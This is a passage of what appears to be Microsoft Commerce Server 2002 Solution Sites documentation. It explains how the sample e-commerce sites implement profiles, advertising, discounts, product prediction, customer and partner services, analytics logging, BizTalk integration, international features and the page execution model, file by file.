Even with the timestamp solution, there are potential cache coherency issues with the profiles. For instance, if a user's profile, which is currently cached, is changed from the Business or Partner Desk on a different computer by a different user, the sites will not know that the cache is out of date. To mitigate this, the Solution Sites call the GetInfo method upon login. If this level of accuracy is not acceptable, the Solution Sites include the m_iGlobalProfileLookUpOption variable, declared in the file include\setupenv.asp, which when set always forces a GetInfo method call to retrieve the profile from the Profiles store.

Initialization

Initialization for the profiling feature occurs in the following files:

include\global_data_lib.asp

The BusinessDataAdmin object is created, connected to the Profiles store, and returned by the oGetBizDataObject function defined in this file.

include\global_profile_lib.asp

The ProfileService object is created, initialized, and returned by the InitProfileService function in this file. To increase performance, all the properties of all the profile types are put into a global Dictionary object by the dictGetProfileSchemaForAllProfileTypes function. The properties are obtained by parsing the XML Data Reduced (XDR) schema for the profiles.

include\global_siteconfig_lib.asp

The IsActiveDirectoryPresent and sGetActiveDirectoryDefaultNamingContext functions in this file parse the XML Data Reduced (XDR) schema for the UserObject profile. The IsActiveDirectoryPresent function checks whether the ParentDN property is set on the profile to determine if Active Directory is used to store part of the profile. The Profiling System allows other means to signify that Active Directory is used. If using one of these alternatives, the Solution Sites need to be correspondingly modified. For more information, see "Managing Pre-existing Accounts in Active Directory Stores" in the Commerce Server Resource Kit. If Active Directory is used, the sGetActiveDirectoryDefaultNamingContext function retrieves the Active Directory domain name.

include\global_main_lib.asp

Whether the Profiling System uses Active Directory is given Application scope as a Boolean variable named MSCSProfileServiceUsesActiveDirectory. If the IsActiveDirectoryPresent function returns True, the Active Directory domain name is set to Application scope as MSCSActiveDirectoryDomain.
The Dictionary object containing all the profile properties is given Application scope as MSCSProfileProperties.
The InitProfileService function is called and the returned ProfileService object is given Application scope as MSCSProfileService.

include\std_profile_lib.asp

This file supplies routines to create a new profile, retrieve and update a current profile, check whether the user has a profile, and whether profiling is enabled on the site. This file also provides the Web farm support.

services\include\check_profile.asp

services\include\delete_profiles.asp

services\include\get_profiles.asp

services\include\profiles_common.asp

services\include\save_all_profiles.asp

services\include\save_one_profile.asp

These files provide common routines for use in Customer and Partner Services.

Browse Time

Users have direct interaction with the Profiling System through the following files:

addrbook.asp

This file allows users, depending on the user type and site options, to view and edit their address book (Address profiles).

newaddr.asp

This file allows users, depending on the user type and site options, to add a new address to their address book.

login\_guest.asp

This file allows a user to enter the site as an anonymous user and creates an associated anonymous profile.

login\newuser.asp

This file allows the user to register with the site. If the user has an anonymous profile, it is changed to a registered profile. If the user does not have an anonymous profile, a new registered profile is created.

services\customer\account.asp

This file allows registered users to view and change their own profile through Customer Services.

services\partner\account.asp

Using the Partner Services feature, this file allows users who are delegated administrators for their organization to view and modify the profile of their organization.

services\partner\users.asp

Using the Partner Services feature, this file provides a list of users who are members of an organization. Delegated administrators can select profiles to view, modify, or delete from this list, or create new member profiles.

services\partner\edit_user.asp

Using the Partner Services feature in the Supplier site, this file allows users who are delegated administrators for their organization to manage the profiles of members of their organization.

See Also

About the Address Management Feature for Solution Sites

Page-Level Access Control for Solution Sites

About the Login Feature for Solution Sites

About the User Tracking Feature for Solution Sites

About the Customer Service Feature for Solution Sites

About the Partner Service Feature for the Supplier Solution Site

Profiling System Objects


About the Ads Feature for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The advertising feature displays advertisements to users based on the properties in the user's profile, and the Need of Delivery (NOD) for the advertisement.

Advertisements are placed in the banner slot located along the top of the Web pages. Through Commerce Server Business Desk you can configure the advertisement's properties, schedule, target audience, and display.

Initialization

Initialization for the advertising feature occurs in the following files:

include\global_csf_lib.asp

Initializes the Content Selection Framework (CSF), and creates the global context for CSF advertisements.

include\global_cache_lib.asp

Creates and configures the advertising cache.

include\global_siteconfig_lib.asp

Creates a PageSet of pages on which advertisements can be shown.

Browse Time

The following files display the advertising feature:

template\banner.inc

Called by the file template\layout1.asp or template\no_menu.asp. Checks to see if the current page is in the advertising PageSet, as configured on the global_siteconfig_lib.asp page. If the page is in the advertising PageSet it displays the winning ad.

template\layout1.asp

Provides the HTML display layout for a Web page with a menu, navigation bar, advertising banner, discount banner, and footer.

template\no_menu.asp

Provides a basic HTML display layout for a Web page without a menu, navigation bar, or footer.

See Also

Campaign Caching for Solution Sites

Advertising.PCF

About the Basket Feature for the Solution Sites

Page Layout Customization for Solution Sites


About the Discounts Feature for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The discount feature displays discounts to users based on user profile properties, items that are in the user's basket, the product the user is viewing, or other properties.

There are two types of discount displays—the discount banner display and the discount information in the user's basket.

In the Solution Sites implementation, discount banners are placed on the bottom of a Web page. The discounts can be automatic or click-required. Click-required discounts require that the user click the discount banner to receive the discount. Automatic discounts do not require any user interaction; the discount is automatically applied to the user's basket.

Discount information that you want to include in the user's basket is displayed on the basket.asp page. When the user receives a discount the basket.asp page automatically adds two columns to the basket table. One column lists the discount in a price value; the other column lists any messages associated with the discount.

Initialization

Initialization for the discount feature occurs in the following files:

include\global_csf_lib.asp

Initializes the Content Selection Framework (CSF), and creates the global context for CSF discounts.

include\global_cache_lib.asp

Creates and configures the discount cache.

include\setupenv.asp

This file is used to set up environment variables and retrieve information about the user.

Browse Time

The following files display the discount feature:

template\discount.asp

Selects and renders discount banners.

basket.asp

Includes the template\discount.asp page and calls its RenderDiscounts function, storing the results in the htmDiscountBanner variable. The basket.asp page also displays the price reduction associated with any applied discounts and a discount message.

product.asp

Includes the template\discount.asp page and calls its RenderDiscounts function storing the results in the htmDiscountBanner variable.

redir.asp

Handles click-throughs and other events on marketing campaign items. It invokes a pipeline that records the events in memory and to the Internet Information Services (IIS) log file.

summary.asp

Computes the discounts and displays the adjusted prices in addition to the bill-to address, ship-to address, the basket, and the order total.

template\layout1.asp

Calls the Response.Write function on the htmDiscountBanner variable, which is populated in the Main function on pages that want to display discount banners.

See Also

About the Basket Feature for the Solution Sites

Discounts.PCF

Page Layout Customization for Solution Sites


About Prediction for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The prediction feature recommends products to a user based on items in the user's shopping basket. The Solution Sites use the PredictorClient object to make these recommendations.

Initialization

Initialization for the prediction feature occurs in the following files:

include\global_predictor_lib.asp

The PredictorClient object is created in the InitPredictor function of this file and used to load the Transaction prediction model, which is supplied with Commerce Server, from the Data Warehouse. Two prediction properties, fpPopularityPenalty and fpDefaultConfidence, are set in this file.
In development mode, the bFailOnUnknownInputAttributes property may be set to True by uncommenting a line of code. With this property set, a run time error is generated if any of the input attributes are not recognized.

include\global_main_lib.asp

The InitPredictor function is called from the Main subroutine in this file and the returned PredictorClient object is set to Application scope as MSCSPredictor.

Browse Time

The following file displays the prediction feature:

basket.asp

The RenderBasketPage subroutine is used to call the htmRenderPredictions function which sets up the input case and calls the Predict method of the PredictorClient object to make the recommendations of which products to purchase. The PredictedPropToHREF function is used to create links into the product catalog from the recommended products.

See Also

About the Basket Feature for the Solution Sites


About the Customer Service Feature for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Customer Service feature is available to all users who have a profile. Initial access to the Customer Service feature is provided in the template\menu.asp file. These appear to the user as links, in the left menu pane, to the two Customer Service features:

  • Customer Profile Feature
  • Customer Orders Feature

See Also

About the Partner Service for Supplier Solution Site


About the Customer Profile Feature

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Customer Profile feature allows users to edit their own profile. When users first enter the Customer Profile feature they are shown their profile data. The fields that are available for them to edit are controlled through Commerce Server Business Desk. When users click the User password Change button they are redirected to the services\change_password.asp page. Most of the fields available to them by default are text boxes that are edited in place. When the user clicks the Save button any changes are saved to their profile.

Initialization

The Customer Profile feature relies heavily on the MSCSProfileService, which is initialized in the include\global_profile_lib.asp file. By default the Retail site stores profile data in the catalog database, and the Supplier site stores profile data in Active Directory.

Initialization for the Customer Profile feature occurs in the following files:

include\std_access_lib.asp

The EnsureAuthAccess function verifies that only authenticated (registered) users are allowed access to this page. Anonymous users are redirected to the login page, login\login.asp.

services\include\initialize.asp

The InitializePartnerDesk subroutine sets the values of three variables — sAction, sSubAction, sProfileIDs — from the URL query string or form post variable. These variables are used to control program flow on the remainder of the page.

Browse Time

The following file displays the Customer Profile service:

services\customer\account.asp

This page ensures that users can only see their own profile before rendering any content. Business logic and rendering are in separate routines to make the code easier to maintain and modify.
The services\customer\account.asp page renders in one of three ways, depending on the value of the sAction variable:
EDIT_ACTION
This is the first time the user views the page. This is also the default action. The PrepareEditAction subroutine handles the business logic and the htmEditAction function renders the page.
CHANGE_ACTION
This action occurs when the user clicks the Change button on the page. The PrepareSaveChangesConfirmation subroutine handles the business logic and the htmChangePasswordActionHandler function creates HTML for the page, which redirects the user to the change password page, services\change_password.asp.
SAVE_ACTION
This action occurs when the user clicks the Save button on the page. The PrepareSaveAction subroutine handles the business logic and the htmSaveActionHandler function renders the page.

See Also

About the Partner Users Feature


About the Customer Orders Feature

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Customer Orders feature allows users to view a list of their orders and to view details of specific orders. When users enter the Customer Orders feature they are shown a list of their existing orders on the services\customer\orders.asp page. When a user selects a particular order and clicks the View Item Details button, the user is shown the order details on the services\customer\view_order.asp page. Clicking the Close button on that page returns the user to the order list page.

Initialization

Initialization for the Customer Orders feature occurs in the following files:

include\std_access_lib.asp

The EnsureAuthAccess function verifies that only authenticated (registered) users are allowed access to this page. Anonymous users are redirected to the login page, login\login.asp.

services\include\initialize.asp

The InitializePartnerDesk subroutine sets the values of three variables — sAction, sSubAction, sProfileIDs — from the URL query string or form post variable. These variables are used to control program flow on the remainder of the page.

Browse Time

The following files display the Customer Orders feature:

services\customer\orders.asp

This page displays a list of the orders for the current user. Business logic and rendering are in separate routines to make the code easier to maintain and modify.
The OrderListActionHandler subroutine prepares the page for rendering. This subroutine sets paging variables on the page in response to the value of the sAction variable, for example NEXTPAGE_ACTION. The htmRenderOrderList function retrieves the list of orders and renders the page.
Selecting an order and clicking the View Item Details button submits a form with the order ID number, which is a globally unique identifier (GUID), to the services\customer\view_order.asp page.

services\customer\view_order.asp

This page displays the order details of the order selected in the orders.asp page. Business logic and rendering are in separate routines to make the code easier to maintain and modify.
The PrepareOrderDetailsAction subroutine gets a count of the number of orders that have been selected. If only one order has been selected the htmOrderDetailsActionHandler function retrieves the order details and renders the page. If more than one order has been selected the user is redirected to the list page.
When the user clicks the Close button the PrepareCloseOrderDetailsAction subroutine determines the source page and the CloseOrderDetailsActionHandler redirects the user back to the list page.

See Also

About the Partner Orders Feature


About the Partner Service Feature for the Supplier Solution Site

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Partner Service feature is, by default, only activated in the Supplier Solution Site, and is only visible to users who are delegated administrators. Delegated administrators are users with administrative privileges for their organization. Initial access to the Partner Service feature is provided by a link in the template\menu.asp file. The Partner Service section of the menu appears only when the following four conditions are met:

  • The site has the Delegated Administrator feature enabled.
  • The user has a profile.
  • The user is authorized to act as administrator for other users.
  • The user has been assigned an organization.

After the Partner Service section appears in the menu pane, links to the three Partner Service features are provided. These three Partner Service features are:

  • Partner Profile Feature
  • Partner Users Feature
  • Partner Orders Feature

See Also

About the Customer Service Feature for Solution Sites

Profile Definitions


About the Partner Profile Feature

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Partner Profile feature allows delegated administrators to edit the profile for their organization. When delegated administrators first enter the Partner Profile feature they are shown the profile data for their organization. The fields that are available to them are controlled through Commerce Server Business Desk. Each property in the profile has an attribute, sDelegatedAdminAccess. When the value of the sDelegatedAdminAccess attribute is zero (0), for a property it is not displayed. When the value is one (1), the property is displayed as read-only. When the value is two (2), the delegated administrator can change the property.

Some of the properties that the delegated administrator can change are simply edited in a text box on the page; however, properties that contain user names are changed with a picker mechanism. At the end of any field containing a user name is an ellipsis (...) button. When the administrator clicks that button, the administrator is redirected to the services\partner\users.asp page in "picker" mode. When the administrator selects a user from the list the admin is returned to the profile page and the field is filled in with the name of the user.

Initialization

Initialization for the Partner Profile feature occurs in the following files:

include\std_access_lib.asp

The EnsureAuthAccess and CheckPartnerServiceAccess functions verify that only authorized users with delegated administrator privileges are allowed access to this page. Unauthorized users are redirected to an error page.

services\include\initialize.asp

The InitializePartnerDesk subroutine sets the values of three variables; sAction, sSubAction, sProfileIDs, from the URL query string or form post variable.

services\include\lib.asp

The CheckIfProfilesExist subroutine verifies the globally unique identifier ProfileID(s).

Browse Time

The following file displays the Partner Profile feature:

services\partner\account.asp

This page ensures that users can only view the profile for their organization before rendering any content. Business logic and rendering are in separate routines to make the code easier to maintain and modify.
This page renders in one of four ways depending on the value of the sAction variable:
EDIT_ACTION
This is the first time the user views the page. This is also the default action. The PrepareEditAction subroutine handles the business logic and the htmEditAction function renders the page.
SAVE_ACTION
This action occurs when the user saves changes to the account profile.
The business logic is in the htmSaveActionHandler function rather than the PrepareSaveAction subroutine because the preparation varies by the value of the subAction variable. The PrepareSaveAction subroutine remains as a placeholder for any business logic that would apply to all values of the subAction variable. The htmSaveActionHandler function renders the page.
SELECT_ACTION
This action occurs when the delegated administrator selects a property containing a user profile for editing and there are multiple user profiles available. The PrepareSelectActionHandlerForEdit subroutine handles the business logic and the htmSelectActionHandlerForEdit function generates an HTML fragment, which redirects the user to the page services\partner\users.asp.
SELECTED_ACTION
This action occurs after a SELECT_ACTION, when the delegated administrator returns from selecting a user profile from the services\partner\users.asp page. The PrepareSelectedAction subroutine handles the business logic and the htmSelectedActionHandlerForEdit function renders the page.

See Also

About the Customer Profile Feature

About the Partner Users Feature

Using Profiles in Web Site Management


About the Partner Users Feature

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Partner Users feature allows the delegated administrator to add new users, delete users, and edit user profiles for their organization. When delegated administrators first enter the Partner Users feature they are presented with a list of the users in their organization. After the delegated administrator selects a user the delegated administrator is redirected to an edit page where the delegated administrator can change the profile for the user.

Initialization

Initialization for the Partner Users feature occurs in the following files:

include\std_access_lib.asp

The EnsureAuthAccess and CheckPartnerServiceAccess functions verify that only authorized users with administrator privileges are allowed access to this page. Unauthorized users are redirected to an error page.

services\include\initialize.asp

The InitializePartnerDesk subroutine sets the values of three variables; sAction, sSubAction, sProfileIDs, from the URL query string or form post variable.

Browse Time

The following files display the Partner Users feature:

services\partner\users.asp

The page renders in one of two ways depending on the value of the sAction variable. For all valid actions except SELECTED_ACTION, the htmRenderProfilesList function renders the list of users. The SELECTED_ACTION occurs when the user returns from the edit_user.asp page. In this case, the SelectedActionHandlerForList subroutine redirects the user as necessary.

services\partner\edit_user.asp

This page displays an individual user profile. The htmEditPageActionHandlers function selects the appropriate action handler depending on the value of the sAction variable. Some of the cases in this function are intended for editing multiple profiles. The multi-edit feature is not implemented and the cases for it cannot be reached from the Solution Sites user interface.

See Also

About the Customer Profile Feature

Using Profiles in Web Site Management


About the Partner Orders Feature

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Partner Orders feature allows the delegated administrator to view the orders for all the users in their organization. When the delegated administrator first enters the Partner Orders feature the administrator is presented a list of all the orders for their organization. From this list page the administrator can select an individual order and be redirected to a page that displays the order details.

Initialization

Initialization for the Partner Orders feature occurs in the following files:

include\std_access_lib.asp

The EnsureAuthAccess and CheckPartnerServiceAccess functions verify that only authorized users with administrator privileges are allowed access to this page. Unauthorized users are redirected to an error page.

services\include\initialize.asp

The InitializePartnerDesk subroutine sets the values of three variables; sAction, sSubAction, sProfileIDs, from the URL query string or form post variable.

Browse Time

The following files display the Partner Orders feature:

services\partner\orders.asp

This page displays a list of the orders for the organization of the delegated administrator. Business logic and rendering are in separate routines to make the code easier to maintain and modify.
The htmOrderListActionHandler subroutine prepares the page for rendering. This subroutine sets paging variables on the page in response to the value of the sAction variable, for example NEXTPAGE_ACTION. The htmRenderOrderList function retrieves the list of orders and renders the page.
Selecting an order and clicking the View Item Details button submits a form with the order ID number and a globally unique identifier (GUID) to the services\partner\view_order.asp page.

services\partner\view_order.asp

This page displays the order details of the order selected in the orders.asp page. Business logic and rendering are in separate routines to make the code easier to maintain and modify.
The PrepareOrderDetailsAction subroutine gets a count of the number of orders that have been selected. If only one order has been selected the htmOrderDetailsActionHandler function retrieves the order details and renders the page. If more than one order has been selected the user is redirected to the list page.
When the user clicks the Close button, the PrepareCloseOrderDetailsAction subroutine determines the source page and the CloseOrderDetailsActionHandler redirects the user to the source page, if present, or to the corresponding list page.

See Also

About the Customer Orders Feature


About the Analysis Integration Feature for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

Commerce events are specially structured entries written by the Solution Sites to the Web server log file under the heading cs-uri-query. The Web server log import Data Transformation Services (DTS) task imports these events into the Data Warehouse for use by Analysis Services. The Solution Sites applications write a log event when a user adds or removes a basket item or submits an order. The format of the logged event is:

   CEVT={T=class,EVT=event,property1,property2,...}

Initialization

The query strings are constructed in the following file:

include\analysis.asp

The Analysis_LogAddToBasket and Analysis_LogRemoveFromBasket subroutines set the class to BSK, the event to AIBSK or RIBSK, respectively, and call the Analysis_ConstructPRID function to construct the item property. The resulting string resembles the following:
   CEVT={T=BSK,EVT=AIBSK,CatalogName;ProductID;VariantID}
The Analysis_LogSubmitOrder subroutine sets the class to ORD, the event to SUBOR, and calls the Analysis_ConstructKeyValueString function to construct the order property. The resulting string resembles the following:
   CEVT={T=ORD,EVT=SUBOR,ORID=OrderID}
The Analysis_LogEvent subroutine performs the actual logging by calling the AppendToLog method of the Active Server Pages (ASP) Response object.

Browse Time

The following files provide logging of the Commerce events:

_additem.asp

When a user adds an item to the basket, the Analysis_LogAddToBasket function is called from this file.

_delitem.asp

When a user removes an item from the basket, the Analysis_LogRemoveFromBasket function is called from this file.

crdtcard.asp

When a user submits an order charged to a credit card, the SaveBasketAsOrder subroutine located in the file include\payment.asp is called by this file. This subroutine, in turn, calls the Analysis_LogSubmitOrder subroutine.

po.asp

When a user submits a purchase order, the SaveBasketAsOrder subroutine located in the file include\payment.asp is called by this file. This subroutine, in turn, calls the Analysis_LogSubmitOrder subroutine.

See Also

About the Basket Feature for Solution Sites

About the Checkout Feature for Solution Sites

About the User Tracking Feature for Solution Sites


About the BizTalk Server Integration Feature

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

BizTalk Server provides a gateway for sending business documents between your company and your trading partners (also known as vendors). For example, if your company uses BizTalk Server, you can trade catalogs, orders, documents, and other electronic forms with your trading partners. BizTalk Server manages the data translation, encryption, digital signatures, and document tracking services for many different transport mechanisms.

BizTalk integration is not enabled in the default configuration of the Solution Sites. To enable BizTalk integration you must change the App Default Config settings for your site.

The App Default Config setting for the BizTalk Options property is set to disable integration with BizTalk Server for exchanging documents. The BizTalk Options property can be changed to facilitate other configurations as shown in the following table.

Selected Property Value | Friendly Name | Description
0 | BIZTALK_PO_XFER_DISABLED | Disables integration with BizTalk Server to exchange documents. This is the default setting for the Solution Sites.
1 | BIZTALK_PO_XFER_ENABLED | Enables integration with BizTalk Server to exchange documents.

Once BizTalk Server is enabled via the BizTalk Options property, the following App Default Config settings should be changed as well. Each of these properties needs to match the respective entry in BizTalk Messaging Manager:

  • The BizTalk Catalog Doc Type property must be set to the document definition name that is required by BizTalk Server for catalogs.
  • The BizTalk PO Doc Type property must be set to the document definition name that is required by BizTalk Server for purchase orders.
  • The BizTalk Source Org Qualifier property must be set to the alias qualifier for the site.
  • The BizTalk Source Org Qualifier Value property must be set to the alias value for the site.
  • The BizTalk Submit type property should not be changed even if BizTalk Server is enabled. The default value is 1.

For more information about changing App Default Config settings, see Configuring the App Default Config Resource.

The recvpo pipeline handles the processing of purchase orders received through BizTalk Server. First, the _recvpo.asp page receives XML documents from BizTalk Server. When an XML document is received by the _recvpo.asp file, the XMLTransforms process is started and converts the XML document back to an order form. Commerce Server then runs the recvpo pipeline on the order form. After the pipeline processes the order form, the order is saved to the Commerce Server database. By using the _recvpo.asp file, you can use Commerce Server objects to redirect the XML to your order management system.

For more information about integrating BizTalk Server, see Integrating with BizTalk Server or "Integrating Commerce Server with BizTalk Server" in the Commerce Server 2000 Resource Kit.

Initialization

include\global_siteconfig_lib.asp

Included in the global.asa file. The dictPipelines datastructure is used to assign friendly names to the file locations.

Browse Time

The following files run the BizTalk Server feature:

_additem.asp

If the App Default Config setting for the BizTalk Options property is set to enable BizTalk Server integration, the ApplyVendorInfo subroutine will return the vendor ID associated with the catalog.

_recvpo.asp

This page receives purchase orders from BizTalk Server.

include\payment.asp

Sets the iBIZTALKOPENNESS variable, which determines where BizTalk Server will find its connection information. Also submits the appropriate OrderForm objects using BizTalk Server.

ReceiveStandard.asp

Sample standard BizTalk Server receive page for purchase orders.


Enabling International Features for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Solution Sites provide the foundation for implementing several features necessary for an international site, multiple languages, dual currency display, and multiple address formats. By default, none of these features are implemented in the Solution Sites. A full implementation of a truly international site is very complex and not suitable for the demonstration purposes of the Solution Sites.

Multiple languages for Solution Sites

Euro dual currency display for Solution Sites

Multiple address formats for Solution Sites

Localized data formats for Solution Sites

Initializing International features for Solution Sites

Multiple languages for Solution Sites

The solution sites are written for single language use. English, French, German and Japanese versions are available. But, they are written to simplify translation and provide the foundation for multiple language support. Most of the strings in the Solution Sites are contained in a single XML file, others, such as Site Terms, shipping method descriptions, and discount descriptions, come from external sources. Translating a site, not counting external strings, to another single language is simply a matter of translating the strings in the rc.xml file and changing the Language attributes in that file to the name of the new language. The first step in supporting multiple languages is also to edit the rc.xml file. Within the file there is a Language node with name and locale attributes for each supported language. An Entry node identifies each string in the application. Each Entry node contains a Value node for each language in the file. The Value nodes are distinguished by their Language attributes. For example:

   <Entry Name="L_Login_HTMLText" Type="General">
      <Value Language="English">Login</Value>

The MessageManager object serves as a repository for the text strings used on the Solution Sites. During application initialization the MessageManager object is loaded with the data in the rc.xml file. Whenever a string is needed in the Solution Sites it is retrieved from the MessageManager object with a call, such as sText = mscsMessageManager.GetMessage("L_FirstName_HTMLText", sLanguage). Throughout the Solution Sites the value of the sLanguage variable, used to determine the language used, is set to the value of the DefaultLanguage attribute in the rc.xml file. This limits the Solution Sites to a single language. In order to support multiple languages you will need to create a mechanism to select the correct value for the sLanguage variable as needed, perhaps based on the lcid.

Euro dual currency display for Solution Sites

The Solution Sites have the ability to enable dual-currency display for Euro-countries. The Commerce Server EuroDisplay object provides the foundation for displaying a price in two currencies simultaneously, for example the French Franc and the Euro. The exchange rate between the primary and secondary currencies is fixed at application initialization and comes from a value in the App Default Config settings. The htmRenderCurrency function renders currency values based on the value of the i_AltCurrencyOptions option in the App Default Config settings. This provides a centralized place for extending the currency display in the Solution Sites.

Multiple address formats for Solution Sites

There are commented examples in the Solution Sites that demonstrate changing the address format based on the default lcid for the site. Search the site for the string $$INTLADDR to find these examples.

Localized data formats for Solution Sites

The Solution Sites provide, through the Commerce Server DataFunction object, the ability to format and parse currencies and numbers in a variety of international formats. You can use this object to perform locale-based formatting, parsing, and value range checking of data on your site.

Initializing International Features for Solution Sites

Initialization for the international features occurs in the following files:

include\header.asp

include\txheader.asp

One or the other of these nearly identical files is included as the header in all of the pages in the Solution Sites applications. The header sets the character set for the page. By default this is set to the s_PageEncodingCharset option from the App Default Config settings.
If you need to explicitly set the server code page, for example you are running a Japanese site on an English server, use the CodePage directive. For more information about using multiple languages in Active Server Pages (ASP), search for "Accommodating International Clients" and "Setting the Code Page for String Conversions" on the Microsoft Developer Network (MSDN) at http://go.microsoft.com/fwlink/?LinkId=5161.

include\global_messagemanager_lib.asp

The Solution Sites use the MessageManager object to provide support for multiple languages. The GetMessageManagerObject function is called from the Main subroutine and the returned MessageManager object is set to Application scope as MSCSMessageManager. The data source for MSCSMessageManager is the rc.xml file.

include\global_internationalization_lib.asp

The InitAltCurrencyDisp function is called from the Main subroutine and the returned EuroDisplay object is set to Application scope as MSCSAltCurrencyDisp. The initialization values for the EuroDisplay object come from the App Default Config Settings.

include\global_data_lib.asp

The InitDataFunctions function is called from the Main subroutine and the returned DataFunctions object is set to Application scope as MSCSDataFunctions. The initialization value, Locale, for the DataFunctions object comes from the App Default Config settings.

See Also

App Default Config Settings for Solution Sites

Code to Manipulate and Display Euro Values

Localizing Web Site Text

DataFunctions Object


Solution Site Infrastructure

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Commerce Server Solution Sites comprise various aspects of a comprehensive infrastructure for building a highly structured and easily maintained commercial Web site. As described in the Solution Site Features topics, the Solution Sites incorporate most of the capabilites of Commerce Server 2002. The code for the Solution Sites has been organized such that the feature implementations share a common infrastructure.

In addition, the Retail and Supplier Solution Sites are implemented as the same set of files, with the differences controlled by configuration settings and corresponding tests in the code. For more information about the files that constitute the Solution Sites, see Solution Sites File Organization.

This section discusses the infrastructure of the Solution Sites.

This section contains:

  • Page Execution Model for Solution Sites. Describes the execution model of the pages in the Solution Sites, which is crucial to understanding how the existing code is structured, and how new code should be written in order to conform to the existing model.
  • Configuration Settings for Solution Sites. Describes the configuration mechanisms that make the Retail and Supplier Solution Sites unique, given that they are based on the same set of files.
  • Initialization of Solution Sites. Describes the processing that occurs when the Web site application starts up. In other words, what processing occurs when the file global.asa is run.
  • Page-Level Access Control for Solution Sites. Describes the authentication scheme used by the Solution Sites, including the various modes in which authentication can be performed.
  • Security Issues for Solution Sites. Describes issues related to the security of the Solution Sites.
  • Caching Solution Sites. Describes the caching techniques employed by the Solution Sites in the interest of improved performance.
  • Constants in Solution Site Applications. Describes the special mechanism used by the Solution Sites that allows the use of a large number of constants with the least performance impact.
  • HTML Construction for Solution Sites. Describes the techniques used in the Solution Sites for constructing the HTML that gets rendered as the pages in the site.
  • Forms Processing for Solution Sites. Describes the forms definition and processing infrastructure used in the Solution Sites.
  • Pipelines for Solution Sites. Describes the pipeline infrastructure used by the Solution Sites.
  • Error Handling for Solution Sites. Describes the error-handling infrastructure used by the Solution Sites, including the built-in differences between DEVELOPMENT and PRODUCTION modes.
  • Utility Routines for Solution Sites. Describes the utility routines used by the existing Solution Sites code, and intended for use in the code you write for any new pages you create. A functional categorization of the routines is provided.


Page Execution Model for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Commerce Server Solution Sites use a Page Execution Model for Solution Sites that is highly structured and standardized throughout the sites. On a given Web site page, such as basket.asp, all of the standard processing occurs within files that are included on the page. Code to implement the unique aspects of the page occurs within the page itself, implemented within a routine named Main, and within any additional routines included as helper routines to the routine Main. In other words, the routine Main is the entry-point routine for custom processing on a page.

The following figure shows a hypothetical Web site page. The annotations, shown to the right in red, describe the high-level function of various aspects of a standard Solution Site Web page.

Page Execution Model for Solution Sites

The Page Execution Model for Solution Sites is explained in greater detail in the following topics:

  • Include Files for Solution Sites
  • Standard Execution Flow for Solution Sites
  • Custom Execution Flow for Solution Sites
  • Page Layout Variables for Solution Sites
  • Page Layout for Solution Sites

See Also

Page Authoring for Solution Sites

Page Layout Customization for Solution Sites


Include Files for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The types of include files for a standard Solution Sites Web page can be divided into five categories, as follows:

  1. Response header files

    The files include\header.asp and include\txheader.asp contain script that writes the appropriate entries into the response header. One of these two files must be included on a given page. For more information about the differences between these two files, see Including Files in Solution Sites.

  2. Constants file

    The file include\const.asp is empty by default, but exists to provide a place where new constants can be defined. The constants provided with the Solution Sites have been compiled into a type library for improved performance. Depending on the number of new constants you create, it may be beneficial to adopt the same strategy for your new constants.

    For more information about compiled constants and compiling new constants, see Constants in Solution Site Applications.

  3. Utility routine files

    This set of files, most of which begin with the prefix "std_", contain a wide variety of utility routines, organized such that routines with related functions are placed in the same file.

    For example, the file include\html_lib.asp contains numerous functions designed to make the formatting of HTML text easier. It contains routines such as RenderCheckBox and RenderRadioButton, used to render INPUT elements with TYPE attribute values of CHECKBOX and RADIO, respectively.

    Depending on the functionality and implementation of a particular Web page, some of these files can be omitted, thereby improving performance.

    For more information about the utility routines supplied in these files, see Routines Reference.

  4. Page initialization file

    The file include\setupenv.asp is central to the execution of a page. Other than a small amount of script executed in the file header.asp, Web page processing begins in the file setupenv.asp. At the highest level, the processing in this file consists of:

    • Defining several dozen variables for use in the custom code for the page, and initializing most of them.
    • Correcting the URL of the requested page (for example, correcting the pathname case, in cookie mode, in order for cookies to work correctly).
    • Getting user context under which the page is running by calling the routine GetUserInfo.
    • Calling the routine Main, which serves as the entry point for custom processing done for the Web page.
  5. Layout files

    The files template\layout1.asp and template\no_menu.asp define the two basic layouts of all Web pages that conform to the Solution Sites Page Execution Model for Solution Sites. These files contain the high-level HTML tags, including HTML, HEAD, and BODY. Using a combination of include files and the contents of a couple of page layout variables, these short files provide a mechanism for standardizing the layout of all pages on the Web site.

    For more information about the page layout variables, see Page Layout Variables for Solution Sites.

    For more information about how this file controls the layout of the Web site pages that use it, see Page Layout for Solution Sites.

See Also

Page Authoring for Solution Sites

Page Layout Customization for Solution Sites


Standard Execution Flow for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The flow of standard execution within the Solution Sites Page Execution Model for Solution Sites can be understood in terms to the files included on a Web site page. For more information about the different types of include files, see Include Files for Solution Sites.

Processing begins in the first include file, either include\header.asp or include\txheader.asp, in which a small amount of script is executed in order to add some standard response header entries.

The two types of files that are typically included next are the constants file and the utility routine files. Since these files do not contain any global code, that is, code outside of any function or subroutine, they can be included in any order relative to the other include files. The lack of global code in these files means that their inclusion does not necessarily result in any processing. If one or more routines in these files is called, it occurs at a later stage in the execution flow. For more information about when the code in these files enters the flow of execution, see Custom Execution Flow for Solution Sites.

